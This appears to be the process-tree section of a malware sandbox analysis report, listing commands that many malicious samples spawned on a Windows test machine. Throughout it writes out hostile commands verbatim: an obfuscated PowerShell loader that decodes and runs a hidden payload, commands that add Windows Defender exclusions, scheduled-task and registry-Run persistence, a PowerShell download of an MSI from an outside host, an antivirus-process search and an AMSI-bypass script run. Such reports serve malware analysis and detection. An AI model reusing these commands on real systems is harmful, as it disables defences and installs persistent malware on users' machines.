C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegSvcs.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\\RegSvcs.exe"5⤵
-
-
-
-
C:\Windows\SYSTEM32\wscript.exewscript.exe sostener.vbs3⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass "C:\Users\Admin\AppData\Local\Temp\5A48AA7F.ps1"4⤵
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\wqovzf31\wqovzf31.cmdline"5⤵
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESBD70.tmp" "c:\Users\Admin\AppData\Local\Temp\wqovzf31\CSC1E13347180EA4D99B39D94E6B3844F6F.TMP"6⤵
-
-
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegSvcs.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\\RegSvcs.exe"5⤵
-
-
-
-
C:\Windows\SYSTEM32\mshta.exemshta.exe encrypted.hta3⤵
-
-
C:\Windows\SYSTEM32\mshta.exemshta.exe MaybeWorking.hta3⤵
-
-
C:\Windows\SYSTEM32\mshta.exemshta.exe encrypted.hta3⤵
-
-
C:\Windows\SYSTEM32\mshta.exemshta.exe DetectionRateTesting.hta3⤵
-
-
C:\Windows\SYSTEM32\wscript.exewscript.exe sostener.vbs3⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass "C:\Users\Admin\AppData\Local\Temp\CC7AA7F.ps1"4⤵
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ovobievh\ovobievh.cmdline"5⤵
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESD5A1.tmp" "c:\Users\Admin\AppData\Local\Temp\ovobievh\CSCD802B455D66463E99A95BDBB68138EF.TMP"6⤵
-
-
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegSvcs.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\\RegSvcs.exe"5⤵
-
-
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /c WindowsLogonService.bat3⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -windowstyle hidden -c "Write-Host ('dedaoL rotcartxE llehsrewoP'[-1..-27] -join '');$path = $env:rBIsWvhris;$path = $path.Trim();$path = $path.Substring(1, $path.Length - 2);Write-Host $path;$_1 = Get-Content -Path $path;$_3 = $_1 -split '\n';$_2 = $_3[-1];$_2 = [Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($_2.Replace('\n', ''));$_4 = New-Object byte[] $_2.Length;for ($_5 = 0; $_5 -lt $_4.Length; $_5++) {$_4[$_5] = $_2[$_5] -bxor 0x20;};$_4 = [System.Text.Encoding]::Unicode.GetString($_4);Set-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows Search' -Name 'txUVnRbZxg' -Value $_4;Remove-Item -Path $path -Force;$_4 | Invoke-Expression"4⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\Pulsar-Client.exePulsar-Client.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\Pulsar-Client.exePulsar-Client.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\4J8576A0E8V3.exe4J8576A0E8V3.exe3⤵
-
C:\Windows\System32\conhost.exe"C:\Windows\System32\conhost.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\bjbh.exebjbh.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\conhost.execonhost.exe3⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin'4⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" Get-MpPreference | Select-Object -ExpandProperty ExclusionPath4⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" Get-MpPreference | Select-Object -ExpandProperty ExclusionPath4⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" Get-MpPreference | Select-Object -ExpandProperty ExclusionPath4⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" Get-MpPreference | Select-Object -ExpandProperty ExclusionPath4⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" Get-MpPreference | Select-Object -ExpandProperty ExclusionPath4⤵
-
-
C:\Users\Admin\AppData\Roaming\Axam.exe"C:\Users\Admin\AppData\Roaming\Axam.exe" "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command " $action = New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Local\PiKqNTCbmrHPacS\SecurityUpdater.exe.exe' $trigger = New-ScheduledTaskTrigger -AtLogOn Register-ScheduledTask -Action $action -Trigger $trigger -TaskName 'SecurityUpdater.exe-1138' -RunLevel Highest "4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\123123.exe123123.exe3⤵
-
-
C:\Windows\SYSTEM32\wscript.exewscript.exe sostener.vbs3⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass "C:\Users\Admin\AppData\Local\Temp\3246AA7F.ps1"4⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\fcjqflkj\fcjqflkj.cmdline"5⤵
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES6CD0.tmp" "c:\Users\Admin\AppData\Local\Temp\fcjqflkj\CSCAB216941B2654D6AADF59AD2FBBED5F.TMP"6⤵
-
-
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegSvcs.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\\RegSvcs.exe"5⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\randll32.exerandll32.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\pardufrigi_installer_1.0.p1.exepardufrigi_installer_1.0.p1.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\is-ZJYFWJLYVV.tmp\pardufrigi_installer_1.0.p1.tmp"C:\Users\Admin\AppData\Local\Temp\is-ZJYFWJLYVV.tmp\pardufrigi_installer_1.0.p1.tmp" /SL5="$20708,4543643,893952,C:\Users\Admin\AppData\Local\Temp\a\pardufrigi_installer_1.0.p1.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\Rsvp_invite%23903388.exeRsvp_invite%23903388.exe3⤵
-
C:\Program Files (x86)\CentraStage\Gui.exe"C:\Program Files (x86)\CentraStage\Gui.exe"4⤵
-
-
-
C:\Windows\SYSTEM32\wscript.exewscript.exe Approved%20Document%23402.vbs3⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "Invoke-WebRequest -Uri 'https://pub-bbbdebc2599c4d74b04c5d53e439f7a7.r2.dev/Approved%20Document%23D53LU.msi' -OutFile 'C:\Users\Admin\AppData\Local\Temp\installer.msi' -UseBasicParsing"4⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Users\Admin\AppData\Roaming\Axam.exe"C:\Users\Admin\AppData\Roaming\Axam.exe" "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\installer.msi" /qb /norestart4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\tXmCLyGO.exetXmCLyGO.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\AutoIt3.exeAutoIt3.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\dajoke2.exedajoke2.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\Qbix01.exeQbix01.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS7011.tmp\winvnc.exe.\winvnc.exe4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\%E5%88%92%E5%AD%A6%E5%8F%B7V2--%E6%9E%81%E9%80%9F%E7%89%88.exe%E5%88%92%E5%AD%A6%E5%8F%B7V2--%E6%9E%81%E9%80%9F%E7%89%88.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\a\%E5%88%92%E5%AD%A6%E5%8F%B7V2--%E6%9E%81%E9%80%9F%E7%89%88.exeC:\Users\Admin\AppData\Local\Temp\a\%E5%88%92%E5%AD%A6%E5%8F%B7V2--%E6%9E%81%E9%80%9F%E7%89%88.exe4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\21.exe21.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\is-VLMVP5UDKL.tmp\21.tmp"C:\Users\Admin\AppData\Local\Temp\is-VLMVP5UDKL.tmp\21.tmp" /SL5="$20980,11067567,860160,C:\Users\Admin\AppData\Local\Temp\a\21.exe"4⤵
-
-
-
C:\Windows\SYSTEM32\msiexec.exemsiexec.exe /i Approved%20Document%23D53LU.msi3⤵
- Event Triggered Execution: Installer Packages
-
-
C:\Users\Admin\AppData\Local\Temp\a\beacon.exebeacon.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\RedX_Setup.exeRedX_Setup.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\a\RedX_Setup.exeC:\Users\Admin\AppData\Local\Temp\a\RedX_Setup.exe4⤵
-
-
-
C:\Windows\SYSTEM32\msiexec.exemsiexec.exe /i Ref62535.msi3⤵
- Event Triggered Execution: Installer Packages
-
-
C:\Windows\SYSTEM32\msiexec.exemsiexec.exe /i MicrosoftTeamUpdate.msi3⤵
- Event Triggered Execution: Installer Packages
-
-
C:\Users\Admin\AppData\Local\Temp\a\rustdesk-1.2.3-2-x86_64.exerustdesk-1.2.3-2-x86_64.exe3⤵
-
C:\Windows\system32\taskkill.exe"taskkill" /F /IM RuntimeBroker_rustdesk.exe4⤵
- Kills process with taskkill
-
-
C:\Users\Admin\AppData\Local\rustdesk\rustdesk.exe"C:\Users\Admin\AppData\Local\rustdesk\.\rustdesk.exe"4⤵
-
C:\Windows\system32\icacls.exe"icacls" C:\ProgramData\RustDesk /grant *S-1-1-0:(OI)(CI)F /T5⤵
- Modifies file permissions
-
-
C:\Windows\system32\icacls.exe"icacls" C:\ProgramData\RustDesk\shared_memory_portable_service /grant *S-1-1-0:(OI)(CI)F /T5⤵
- Modifies file permissions
-
-
C:\Users\Admin\AppData\Local\rustdesk\rustdesk.exe"C:\Users\Admin\AppData\Local\rustdesk\rustdesk.exe" --portable-service5⤵
-
C:\Users\Admin\AppData\Local\rustdesk\rustdesk.exe"C:\Users\Admin\AppData\Local\rustdesk\rustdesk.exe" --run-as-system6⤵
-
-
-
C:\Users\Admin\AppData\Local\rustdesk\rustdesk.exe"C:\Users\Admin\AppData\Local\rustdesk\.\rustdesk.exe" --check-hwcodec-config5⤵
-
-
C:\Windows\system32\cmd.exe"cmd" /c "taskkill /F /IM RuntimeBroker_rustdesk.exe"5⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /IM RuntimeBroker_rustdesk.exe6⤵
- Kills process with taskkill
-
-
-
-
-
C:\Windows\SYSTEM32\msiexec.exemsiexec.exe /i Lapce-windows.msi3⤵
- Event Triggered Execution: Installer Packages
-
-
C:\Users\Admin\AppData\Local\Temp\a\fscan32.exefscan32.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\NAMUVPN7.exeNAMUVPN7.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\365VPN7\365VPN7.exe"C:\Users\Admin\AppData\Local\Temp\365VPN7\365VPN7.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\namuvpnxp.exenamuvpnxp.exe3⤵
-
C:\Users\Admin\Desktop\365vpnxp\365vpnxp.exe"C:\Users\Admin\Desktop\365vpnxp\365vpnxp.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\namuvpnx2.exenamuvpnx2.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\365vpnx2\365vpnx2.exe"C:\Users\Admin\AppData\Local\Temp\365vpnx2\365vpnx2.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\NAMUVPN32.exeNAMUVPN32.exe3⤵
-
C:\Users\Admin\AppData\Roaming\namu832.exe"C:\Users\Admin\AppData\Roaming\namu832.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\IMG001.exeIMG001.exe3⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c taskkill /f /im tftp.exe & tskill tftp.exe4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im tftp.exe5⤵
- Kills process with taskkill
-
-
-
C:\Users\Admin\AppData\Local\Temp\tftp.exe"C:\Users\Admin\AppData\Local\Temp\tftp.exe"4⤵
-
-
C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe"C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe"4⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c taskkill /f /im tftp.exe & tskill tftp.exe5⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im tftp.exe6⤵
- Kills process with taskkill
-
-
-
C:\Users\Admin\AppData\Roaming\Axam.exe"C:\Users\Admin\AppData\Roaming\Axam.exe" "C:\Users\Admin\AppData\Local\Temp\tftp.exe"5⤵
-
-
C:\Users\Admin\AppData\Roaming\Axam.exe"C:\Users\Admin\AppData\Roaming\Axam.exe" "C:\Windows\system32\cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "" /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" /t REG_SZ5⤵
-
-
C:\Users\Admin\AppData\Roaming\Axam.exe"C:\Users\Admin\AppData\Roaming\Axam.exe" "C:\Windows\system32\cmd.exe" /c schtasks /create /tn "UAC" /SC ONLOGON /F /RL HIGHEST /TR "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe"5⤵
-
-
C:\Users\Admin\AppData\Roaming\Axam.exe"C:\Users\Admin\AppData\Roaming\Axam.exe" "C:\Windows\system32\cmd.exe" /c schtasks /create /tn "UAC" /RU "SYSTEM" /SC ONLOGON /F /V1 /RL HIGHEST /TR "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe"5⤵
-
-
C:\Users\Admin\AppData\Roaming\Axam.exe"C:\Users\Admin\AppData\Roaming\Axam.exe" "C:\Windows\system32\cmd.exe" /c powercfg /CHANGE -standby-timeout-ac 0 & powercfg /CHANGE -hibernate-timeout-ac 0 & Powercfg -SetAcValueIndex 381b4222-f694-41f0-9685-ff5bb260df2e 4f971e89-eebd-4455-a8de-9e59040e7347 5ca83367-6e45-459f-a27b-476b1d01c936 0005⤵
- Power Settings
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\zx.exezx.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\a\zx.exezx.exe4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\ShellHost.exeShellHost.exe3⤵
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "RuntimeBroker" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\SubDir\updater.exe" /rl HIGHEST /f4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\TempSpoofer.exeTempSpoofer.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\TempSpoofer.exeTempSpoofer.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\TempSpoofer.exeTempSpoofer.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\c1i.exec1i.exe3⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exeC:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\AppLaunch.exe4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\v1d.exev1d.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\01.exe01.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\GMSSetupX86.exeGMSSetupX86.exe3⤵
-
-
C:\Windows\SYSTEM32\msiexec.exemsiexec.exe /i Payment_Receipt_11_28_2025.msi3⤵
- Event Triggered Execution: Installer Packages
-
-
C:\Users\Admin\AppData\Local\Temp\a\cr.execr.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\NanoCore_Portable.exeNanoCore_Portable.exe3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\TempDel.bat" "4⤵
-
C:\Windows\SysWOW64\mode.commode 30,205⤵
-
-
C:\Windows\SysWOW64\timeout.exetimeout /nobreak 105⤵
- Delays execution with timeout.exe
-
-
C:\Users\Admin\AppData\Local\Temp\NanoCore.exe"C:\Users\Admin\AppData\Local\Temp\NanoCore.exe"5⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\fastping_silent_v4.exefastping_silent_v4.exe3⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM FastPing.exe4⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM FastPingAgent.exe4⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM FastPingService.exe4⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "FastPingAgent" /tr "\"C:\Users\Admin\AppData\Roaming\FastPing\FastPingAgent.exe\"" /sc onlogon /f /rl highest /delay 0001:304⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "FastPingService" /tr "\"C:\Users\Admin\AppData\Roaming\FastPing\FastPingService.exe\" /boot" /sc onlogon /f /rl highest /delay 0001:304⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\EDMSLauncherSetup.exeEDMSLauncherSetup.exe3⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM EdmsLauncher.exe4⤵
- Kills process with taskkill
-
-
C:\Program Files (x86)\Minervasoft_KBInsu\EdmsLauncher\EdmsLauncher.exe"C:\Program Files (x86)\Minervasoft_KBInsu\EdmsLauncher\EdmsLauncher.exe"4⤵
-
C:\Windows\SysWOW64\netsh.exe"netsh" http show sslCert ipport =0.0.0.0:150025⤵
-
-
C:\Windows\SysWOW64\netsh.exe"C:\Windows\System32\netsh.exe" http delete sslCert ipport =0.0.0.0:150025⤵
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File stage1.ps13⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File amsibypass.ps13⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\riqwsygh\riqwsygh.cmdline"4⤵
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES67A2.tmp" "c:\Users\Admin\AppData\Local\Temp\riqwsygh\CSC4589E77CB2DA44B78C12154C472A652.TMP"5⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\fo-wsftp605.exefo-wsftp605.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\delfino-g3.exedelfino-g3.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\is-LG52L.tmp\delfino-g3.tmp"C:\Users\Admin\AppData\Local\Temp\is-LG52L.tmp\delfino-g3.tmp" /SL5="$40E08,30692187,121344,C:\Users\Admin\AppData\Local\Temp\a\delfino-g3.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\DowOnline.Installer.exeDowOnline.Installer.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\is-R904V.tmp\DowOnline.Installer.tmp"C:\Users\Admin\AppData\Local\Temp\is-R904V.tmp\DowOnline.Installer.tmp" /SL5="$11220,13495130,780800,C:\Users\Admin\AppData\Local\Temp\a\DowOnline.Installer.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\Bexitor%20Installer.exeBexitor%20Installer.exe3⤵
-
-
C:\Windows\SYSTEM32\msiexec.exemsiexec.exe /i dev.msi3⤵
- Event Triggered Execution: Installer Packages
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File 4aa9fqc792.ps13⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\system32\msiexec.exe"C:\Windows\system32\msiexec.exe" /i https://nodejs.org/dist/v18.20.5/node-v18.20.5-x64.msi /quiet /norestart4⤵
- Use of msiexec (install) with remote resource
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\offlinepackv4.exeofflinepackv4.exe3⤵
-
-
C:\Windows\SYSTEM32\wscript.exewscript.exe envifa.vbs3⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass "C:\Users\Admin\AppData\Local\Temp\63EE2A7F.ps1"4⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\n0rl4oss\n0rl4oss.cmdline"5⤵
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESD952.tmp" "c:\Users\Admin\AppData\Local\Temp\n0rl4oss\CSC4417204F3E6F45BC934A6AF0A3C0AE32.TMP"6⤵
-
-
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegSvcs.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\\RegSvcs.exe"5⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\jqqvLru0VAiH3z.exejqqvLru0VAiH3z.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\lol1.exelol1.exe3⤵
-
C:\Windows\SysWOW64\cmd.execmd.exe /c cmd < Promoted.wp54⤵
-
C:\Windows\SysWOW64\cmd.execmd5⤵
-
C:\Windows\SysWOW64\tasklist.exetasklist6⤵
- Enumerates processes with tasklist
-
-
C:\Windows\SysWOW64\findstr.exefindstr "bdservicehost ekrn AvastUI SophosHealth AVGUI nsWscSvc"6⤵
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\lol11.exelol11.exe3⤵
-
C:\Windows\SysWOW64\cmd.execmd.exe /c cmd < Helped.wks4⤵
-
C:\Windows\SysWOW64\cmd.execmd5⤵
-
C:\Windows\SysWOW64\tasklist.exetasklist6⤵
- Enumerates processes with tasklist
-
-
C:\Windows\SysWOW64\findstr.exefindstr "bdservicehost ekrn AvastUI SophosHealth AVGUI nsWscSvc"6⤵
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\build.exebuild.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\1210.exe1210.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\1488.exe1488.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\a\1488.exe"C:\Users\Admin\AppData\Local\Temp\a\1488.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\lol.exelol.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\35603d5b1d\Srfuhxm.exe"C:\Users\Admin\AppData\Local\Temp\35603d5b1d\Srfuhxm.exe"4⤵
-
-
-
C:\Windows\SYSTEM32\wscript.exewscript.exe sostener2.vbs3⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass "C:\Users\Admin\AppData\Local\Temp\75652A7F.ps1"4⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\cctw3ch1\cctw3ch1.cmdline"5⤵
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESD395.tmp" "c:\Users\Admin\AppData\Local\Temp\cctw3ch1\CSCC5FAD9438BA047F5BA4E3AC1581ACB2A.TMP"6⤵
-
-
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegSvcs.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\\RegSvcs.exe"5⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\Windows.x64.silent.CPU.exeWindows.x64.silent.CPU.exe3⤵
-
C:\Windows\System32\conhost.exe"C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\a\Windows.x64.silent.CPU.exe"4⤵
-
C:\Windows\System32\cmd.exe"cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"6⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"6⤵
-
-
-
C:\Windows\System32\cmd.exe"cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "WindowsUpdate64" /tr "C:\Windows\system32\WindowsUpdate64.exe"5⤵
-
C:\Windows\System32\schtasks.exeschtasks /create /f /sc onlogon /rl highest /tn "WindowsUpdate64" /tr "C:\Windows\system32\WindowsUpdate64.exe"6⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\System32\cmd.exe"cmd" cmd /c "C:\Windows\system32\WindowsUpdate64.exe"5⤵
-
C:\Windows\system32\WindowsUpdate64.exeC:\Windows\system32\WindowsUpdate64.exe6⤵
-
C:\Windows\System32\conhost.exe"C:\Windows\System32\conhost.exe" "C:\Windows\system32\WindowsUpdate64.exe"7⤵
-
C:\Windows\System32\cmd.exe"cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit8⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"9⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"9⤵
-
-
-
C:\Users\Admin\AppData\Roaming\Axam.exe"C:\Users\Admin\AppData\Roaming\Axam.exe" "C:\Windows\system32\Microsoft\Libs\sihost64.exe"8⤵
-
-
